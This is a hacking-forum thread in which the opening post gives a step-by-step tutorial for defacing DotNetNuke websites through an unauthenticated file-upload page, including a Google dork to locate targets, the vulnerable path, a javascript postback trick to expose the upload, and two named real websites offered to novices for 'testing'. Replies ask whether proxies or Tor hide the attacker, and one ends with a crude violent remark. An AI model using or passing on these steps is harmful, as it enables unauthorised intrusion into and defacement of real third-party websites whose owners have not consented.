[longrifle0x]

Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website.

PHP Code


<?php 
inurl:"/portals/0" 


You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

Code

http://www.wittur.se/
http://www.bsd405.org/

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/
Check the location of the image. It should be located in /portals/0/

Now here is the exploit

PHP Code


<?php 
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 


HOW TO RUN ?

Simply copy paste it as shown below:

Code

www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site
[img]http://s014.radikal.ru/i326/1010/0e/43c8e77eac9b.jpg[/img]
After selecting the third option, replace the URL bar with below script

PHP Code


<?php 
javascript:__doPostBack('ctlURL$cmdUpload','') 


After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT you have hacked the website.

[img]http://s008.radikal.ru/i304/1010/e5/b2cf4041113f.jpg[/img]

🤝🤝🤝

[ADIL]

yes it's working tut but 2 old tut anyway nice share

[*****]

Is using a proxie enough protection for this?

---

Does a web proxie provide enough protection for this?
I torbutton or a web proxie enough?

[*****]

Is using a proxie enough protection for this?

[*****]

Does a web proxie provide enough protection for this?

[longrifle0x]

No!!

:D lol

too short

[Vito Scaletta]

well, im a noob, can u help me a bit, cos i dont understand a thing on ur tut

[longrifle0x]

Nico

Yeah I can help you write me PM bro : )

[4bh1]

Dude one problem I could not see the options to upload the image

[SIM-2662262]

Nice tut, but its extremely old. So not work for news website

[Th3PonyWizard]

Nice tut, but its extremely old. So not work for news website

I want to tickle your scrotum with a katana.